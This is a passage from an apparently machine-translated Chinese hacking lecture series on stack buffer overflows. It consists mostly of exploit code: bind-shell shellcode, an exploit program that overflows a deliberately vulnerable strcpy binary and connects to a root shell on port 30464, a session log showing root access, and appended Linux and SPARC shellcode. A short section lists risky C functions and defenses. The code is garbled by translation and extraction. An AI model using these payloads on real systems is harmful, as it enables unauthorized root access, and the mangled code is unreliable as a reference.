* / / * Execute accept (), Eax is the return value CLI file descriptor * / 6A "/ x88 / xc3" / * movb% Al,% BL * / 6C "/ xb0 / x3f" / * MOVB $ 0x3f,% Al * / 6e "/ x31 / xc9" / * xorl% ECX,% ECX * / 70 "/ xcd / x80" / * int $ 0x80 * / 72 "/ xb0 / x3f" / * MOVB $ 0x3f,% Al * / 74 "/ XB1 / X01" / * MOVB $ 0X1,% CL * / 76 "/ xcd / x80" / * int $ 0x80 * / 78 "/ xb0 / x3f" / * movb $ 0x3f,% Al * / 7A "/ XB1 / X02" / * MOVB $ 0X2,% CL * / 7C "/ XCD / X80 "/ * INT $ 0x80 * / / * Perform three DUP2 () * / 7e" / xb8 / x2f / x62 / x69 / x6e "/ * movl $ 0x6E69622F,% EAX * / / *% EAX =" / bin "* / 83" / x89 / x06 "/ * movl% EAX, (% ESI) * / 85" / xb8 / x2f / x73 / x68 / x2f "/ * MOVL $ 0x2f68732f,% eax * / / *% EAX = "/ sh /" * / 8A "/ x89 / x46 / x04" / * movl% EAX, 0x4 (% ESI) * / 8D "/ x31 / xc0" / * xorl% EAX,% EAX * / 8F " / x88 / x46 / x07 "/ * movb% Al, 0x7 (% ESI) * / 92" / x89 / x76 / x08 "/ * movl% ESI, 0x8 (% esi) * / 95" / x89 / x46 / x0c "/ * MOVL% EAX, 0xc (% ESI) * / 98" / XB0 / X0B "/ * MOVB $ 0XB,% Al * / 9A" / x89 / xf3 "/ * movl% ESI,% EBX * / 9C" / x8d / x4e / x08 "/ * LEAL 0x8 (% ESI),% ECX * / 9F" / x8d / x56 / x0c "/ * leal 0xc (% ESI),% EDX * / A2" / XCD / X80 "/ * INT $ 0x80 * / / * Execute EXECVE () * / / * Run / Bin / SH () * / A4 "/ x31 / xc0" / * xorl% EAX,% EAX * / A6 "/ XB0 / X01" / * MOVB $ 0x1,% Al * / A8 "/ x31 / xdb" / * xorl% EBX,% EBX * / aa "/ xcd / x80" / * int $ 0x80 * / / * Execute EXIT () * / AC "/ XE8 / X5B / XFF / XFF / XFF"; / * CALL-0XA5 * / / * Performs Directive at 0x0c * / B1 ------------------------------------- ----------------------- Ok, long shell is finally finished, and below is the attack program. Exploit4.c ----------------------------------------------------------------------------------- ------------------------- #include #define align 0 #define offset 0 #define return 1024 #define Range 20 #define NOP 0x90 Char shellcode [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ xb0 / x02" / * MOVB $ 0X2,% Al * / "/ xcd / x80" / * int $ 0x80 * / "/ x85 / xc0" / * testl% EAX,% EAX * / "/ x75 / x43" / * jne 0x43 * / "/ xeb / x43" / * jmp 0x43 * / "/ x5e" / * popl% ESI * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ X89 / XF1" / * movl% ESI,% ECX * / " / XB0 / X02 "/ * MOVB $ 0x2,% Al * /" / x89 / x06 "/ * movl% EAX, (% ESI) * /" / xb0 / x01 "/ * MOVB $ 0x1,% al * /" / x89 / x46 / x04 "/ * movl% EAX, 0x4 (% ESI) * /" / xb0 / x06 "/ * MOVB $ 0X6,% Al * /" / x89 / x46 / x08 "/ * movl% EAX, 0x8 (% ESI) * / "/ xb0 / x66" / * MOVB $ 0x66,% Al * / "/ XB3 / X01" / * MOVB $ 0X1,% BL * / "/ XCD / X80" / * int $ 0x80 * / "/ x89 / x06" / * movl% EAX, (% ESI) * / "/ xb0 / x02" / * MOVB $ 0x2,% Al * / "/ x66 / x89 / x46 / x0c" / * MOVW% AX, 0xc (% ESI) * / "/ xb0 / x77" / * MOVB $ 0X77,% Al * / "/ x66 / x89 / x46 / x0e" / * movw% AX, 0XE (% ESI) * / "/ X8D / X46 / X0C "/ * LEAL 0XC (% ESI),% EAX * /" / x89 / x46 / x04 "/ * movl% EAX, 0X4 (% ESI) * /" / x31 / xc0 "/ * xorl% EAX,% EAX * / "/ x89 / x46 / x10" / * movl% EAX, 0x10 (% ESI) * / "/ xb0 / x10" / * MOVB $ 0x10,% Al * / "/ x89 / x46 / x08 "/ * MOVL% EAX, 0x8 (% ESI) * / "/ xb0 / x66" / * MOVB $ 0X66,% Al * / "/ XB3 / X02" / * MOVB $ 0X2,% BL * / "/ XCD / X80" / * INT $ 0x80 * / "/ Xeb / x04" / * jmp 0x4 * / "/ xeb / x55" / * jmp 0x55 * / "/ xeb / x5b" / * jmp 0x5b * / "/ xb0 / x01" / * MOVB $ 0x1,% Al * / "/ x89 / x46 / x04" / * movl% EAX, 0x4 (% ESI) * / "/ xb0 / x66" / * MOVB $ 0x66,% Al * / "/ XB3 / X04 "/ * MOVB $ 0X4,% BL * /" / XCD / X80 "/ * int $ 0x80 * /" / x31 / xc0 "/ * xorl% EAX,% EAX * /" / x89 / x46 / x04 " / * MOVL% EAX, 0x4 (% ESI) * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / "/ xb0 / x66" / * MOVB $ 0X66,% Al * / "/ XB3 / X05" / * MOVB $ 0X5,% BL * / "/ XCD / X80" / * INT $ 0x80 * / "/ x88 / xc3" / * movb% Al,% BL * / "/ XB0 / X3F "/ * MOVB $ 0x3f,% Al * /" / x31 / xc9 "/ * xorl% ECX,% ECX * /" / XCD / X80 "/ * int $ 0x80 * /" / xb0 / x3f "/ * MOVB $ 0 X3f,% Al * / "/ XB1 / X01" / * MOVB $ 0x1,% cl * / "/ xcd / x80" / * int $ 0x80 * / "/ xb0 / x3f" / * MOVB $ 0x3f,% Al * / "/ xb1 / x02" / * MOVB $ 0x2,% cl * / "/ xcd / x80" / * int $ 0x80 * / "/ xb8 / x2f / x62 / x69 / x6e" / * movl $ 0x6e69622f,% EAX * / "/ x89 / x06" / * MOVL% EAX, (% ESI) * / "/ xb8 / x2f / x73 / x68 / x2f" / * movl $ 0x2f68732f,% eax * / "/ x89 / x46 / x04" / * MOVL% EAX, 0x4 (% ESI) * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x88 / x46 / x07" / * movb% Al, 0x7 (% ESI) * / "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% ESI) * / "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% ESI) * / "/ xb0 / x0b" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * movl% ESI,% EBX * / "/ x8d / x4e / x08" / * leal 0x8 (% ESI),% ECX * / "/ X8D / X56 / X0C "/ * LEAL 0XC (% ESI),% EDX * /" / XCD / X80 "/ * int $ 0x80 * /" / x31 / xc0 "/ * xorl% EAX,% EAX * /" / XB0 / X 01 "/ * MOVB $ 0x1,% Al * /" / x31 / xdb "/ * xorl% EBX,% EBX * /" / XCD / X80 "/ * int $ 0x80 * /" / xe8 / x5b / xff / XFF / XFF "; / * CALL-0XA5 * / unsigned long get_sp (void) {__ASM __ (" MOVL% ESP,% EAX "); Long getip (char * name) {struct hostent * hp; long ip; if ((ip = inet_addr (name)) == - 1) {if ((hp = gethostbyname (name)) == null) {fprintf (stderr) "Can't resolve host./n"); exit (0);} Memcpy (; ip, (hp-> h_addr), 4);} return ip;} INT EXEC_SH (INT SOCKFD) {char SND [4096], RCV [4096]; FD_SET RSET; While (1) {fd_zero (; Rset); fd_set (fileno (stdin) ,; Rset); fd_set (sockfd,; rset) SELECT (255 ,; RSET, NULL, NULL, NULL); IF (fd_isset (Fileno (STDIN) (SND, 0, SIZEOF (SND)); FGETS (SND, SIZEOF (SND), STDIN); WRITE (SOCKFD, SND, STRLEN (SND));} IF (fd_isset (sockfd,; rset)) {MEMSET (RCV, 0, SizeOf (RCV)); if (Read (Sockfd, RCV, SIZEOF (RCV) )) <= 0) EXIT (0); FPUTS (RCV, STDOUT);}}} INT Connect_sh (long IP) {Int Sockfd, I; Struct Sockaddr_in Sin; Printf ("Connect to the shell / n"); FFLUSH (stdout); MEMSET (; sin); sin.sin_family = AF_INET; SIN.SIN_PORT = HTONS (30464); sin.sin_addr.s_addr = IP; if ((Sockfd = Socket (AF_INET, SOCK_STREAM , 0) <0) {Printf ("can't create socket / n"); exit (0);} if (connect (Sockfd, Struct SockAddr *); SIN, SIZEOF (SIN)) <0) { Printf ("can't connect to the shell / n"); exit (0);} return sockfd;} Void main (int Argc, char ** argv) {char buff [RET_POSITION RANGE Align 1], * Ptr; Long Addr; unsigned long sp; int off = offset, bsize = RET_POSITION RANGE ALIGN 1; INT I; int suckfd; IF (Argc> 1) OFFSET = ATOI (Argv [1]); SP = GET_SP (); addr = sp-offset; Reply: Stack overflow series lecture (1-10) for (i = 0; i For (i = 0; i PTR = BUFF BSIZE-RANGE * 2-Strlen (shellcode) -1; for (i = 0; i BUFF [BSIZE-1] = '/ 0'; Printf ("jump to 0x% 08x / n", addr); if (fork () == 0) {EXECL ("./ Vulnerable", "Vulnerable", BUFF, 0); EXIT (0);} SLEEP 5); SOCKFD = Connect_sh (Getip ("127.0.0.1"); EXEC_SH (SockFD);} --------------------------- -------------------------------------------- Algorithm is simple, sir By overflow string, format is: nnnnnsssaaaaa. Then a child process perform a target program to simulate the network daemon, the parameters are our string. Ok, the stack has overflows. Our shellcode is executed, then there will be Server at Listen at 30464. The parent process sleeps for five seconds and waits for these completion. Connect the port 30464 of the unit. After the connection is established, read the received string from Socket, print to standard output, read the string from the standard input to the SOCKET's Server. Let's try it out: Let's write a vulnerability program: Vulnerable.c ---------------------------------------- -------------------------------- #include INT Main (int Argc, char ** argv) {char buffer [1000]; Printf ("I am here% x, buffer% d / n", buffer, strlen (argv [1])); STRCPY (Buffer, Argv [1]); Return 0;} ---------------------------------------------- ---------------------------- [NKL10] $ ./exploit jump to 0xbffff63c i am herebffff280, buffer1224 connection to the shell view? I added a printf in VulneRable.c, print the first address of the buffer, so you don't have to guess. 0xBFFFF63C-0XBFFFF280 = 956, good, use 956 to perform offset. [NKL10] $. / EXPLOIT 956 JUMP TO 0XBFFFF280 I am Herebfff280, Buffer1224 Connect To Shell Whoami Root ID UID = 0 (root) ... uname -a Linux localhost.localdomain 2.2.5-15. . . Hey, I'm already gone. Reply: Stack Overflow Series Lecture (1-10) Stack Overflow Series Lecture (6) _Hacker Teaching _ Hacker Technology Prevent Stack Overflow 1: Looking for a vulnerability We have seen the harm of stack overflow, then what program will have a hidden danger of stack overflow? The first is Strcpy, many problems are in him. Others, and: 1: Many functions related to string operations are problematic. They are: strat (), structf (), sprintf (), and vsprintf (). 2: Functions with variable parameters, such as: variants of all Printf, (except Printf) fprintf () ... Because these functions use vsprintf (buf, fmt, AP); to formatted strings and The parameter is combined, and the output is used to buffer, so there is a risk of stack overflow. 3: Internal calling strcpy function gets (), getc (), fgetc (), or getchar () ... 4: Scanf () and all Scanf variants. Vcscanf (), sscanf (), fscanf () ... Because SCANF accepts parameter% s to perform string replication, regardless of the boundaries of the string. There are programs with the above functions are dangerous. In addition, all processes that link XT lib are problematic programs. In Linux, you can find all the original code, GREP above these functions. If there is no original code, you can use the strings command to view the string in the target program, see if there is any: "What is", "% s", can you use () command to see which library functions used by the program . Once there are programs with hidden dangers, you can use the various methods mentioned earlier. I believe you can find a vulnerability and get the shell. 2: Preventive measures: Of course, the best way is to set the stack segment into unauthorized. The original stack section is putting data! Our shellcode is because it is inside the stack, so it will completely don't play. However, this requires the support of the operating system. Solaris can now be implemented. Linux is not clear. Also, don't write a SETUID program. And when you write the setuid program, you must be careful, don't appear which problem functions above, or attach boundary checks. The number and name of the SetUID program on your machine, you should check it regularly. For little SETUID programs, simply remove the SetUID. Finally, new vulnerabilities are endless, and there are many security websites in the essence. You (network management) should go to these places every day. I hope you keep up with the times and diligently cheer. 3: Appendix: Below, the baby is the admission from Aleph One's classic masterpiece "Smashing The Stack for Fun and Profit". Mainly in order to facilitate everyone to use, save it. Appendix A - Shellcode for Different Operating Systems / Architectures ~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~ I386 / Linux ------------------------------------------------- ------------------------- JMP 0x1F POPL% ESI MOVL% ESI, 0x8 (% ESI) xorl% Eax,% EAX MOVB% EAX, 0x7 (% ESI) MOVL% EAX, 0xC (% ESI) MOVB $ 0XB,% Al Movl% ESI,% EBX Leal 0x8 (% ESI),% ECX LEAL 0XC (% ESI),% EDX INT $ 0x80 xorl% EBX, % EBX MOVL% EBX,% EAX INC% EAX INT $ 0X80 CALL-0X24.String / "/ Bin / SH /" ----------------------- ------------------------------------------------- SPARC / Solaris ------------------------------------------------ ------------------------ SETHI 0XBD89A,% L6 OR% L6, 0x16E,% L6 SETHI 0XBDCDA,% L7 and% SP,% SP,% O0 Add% SP, 8,% O1 XOR% O2,% O2,% O2 Add% SP, 16,% SP STD% L6, [% SP - 16] ST% SP, [% SP - 8] ST% G0, [% SP - 4] MOV 0x3b,% G1 TA 8 XOR% O7,% O7,% O0 MOV 1,% G1 TA 8 -------------------- -------------------------------------------------- - SPARC / SunOS --------------------------------- ------------------------- SETHI 0XBD89A,% L6 OR% L6, 0x16E,% L6 SETHI 0XBDCDA,% L7 and% SP,% SP, % O0 Add% SP, 8,% O1 XOR% O2,% O2,% O2 Add% SP, 16,% SP STD% L6, [% SP - 16] ST% SP, [% SP - 8] ST% G0 [% sp - 4] MOV 0x3b,% G1 MOV-0X1,% L5 TA% L5 1 XOR% O7,% O7,% O0 MOV 1,% G1 TA% L5 1 -------- -------------------------------------------------- ---------------- Appendix B - Generic Buffer overflow Program ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~ Shellcode.h ----------------------------------------------- ------------------------- #if Defined (__ i386__) ;; defined (__ linux__) #define nop_size 1 char NOP [] = "/ x90"; char shellcode [] = "/ Xeb / x1f / x5e / x89 / x76 / x08 / x31 / xc0 / x88 / x46 / x07 / x89 / x46 / x0c / xb0 / x0b "" / x89 / x0b / x8d / x4e / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd "" / x80 / xe8 / xdc / XFF / XFF / XFF / bin / sh "; Unsigned long get_sp (void) {__ASM __ ("MOVL% ESP,% EAX");} #elif defined (__ sparc__); defined (__ sun__); defined (__ svr4__) #define nop_size 4 char NOP [] = "/ xac / x15 / xa1 / x6e"; char shellcode [] = "/ x2d / x15 / xa1 / x6e / x2f / x0b / xdc / xda / x90 / x0b / x80 / x0e "" / x92 / x03 / xa0 / x08 / x94 / x1a / x80 / x0a / x9c / x03 / xa0 / x10 / Xec / x3b / xbf / xf0 "" / xdc / x23 / xbf / XF8 / XC0 / X23 / XBF / XFC / X82 / X10 / X20 / X3B / X08 "" / x90 / x1b / xc0 / x0f / x82 / x10 / x20 / x01 / x91 / xd0 / x20 / x08 "; Unsigned long get_sp (void) {__ASM __ ("OR% SP,% SP,% I0"); #ELIF Defined (__ sparc__); defined (__ sun__) #define nop_size 4 char NOP [] = "/ xac / x15 / xa1 / x6e"; char shellcode [] = "/ x2d / x15 / xa1 / x6e / x2f / x0b / xdc / xda / x90 / x0b / x80 / x0e "" / x92 / x03 / xa0 / x08 / x94 / x1a / x80 / x0a / x9c / x03 / xa0 / x10 / Xec / x3b / xbf / xf0 "" / xdc / x23 / xbf / XF8 / XC0 / X23 / XBF / XFC / X82 / X10 / X20 / X3B / XAA / X10 / X3F / XFF "/ x91 / xd5 / x60 / x01 / x90 / x1b / xc0 / x0f / x82 / x10 / x20 / x01 / x91 / xd5 / x60 / x01 "; Unsigned long get_sp (void) {__ASM __ ("OR% SP,% SP,% I0"); #ENDIF ------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------------------------------------------------------------------------------------------------------------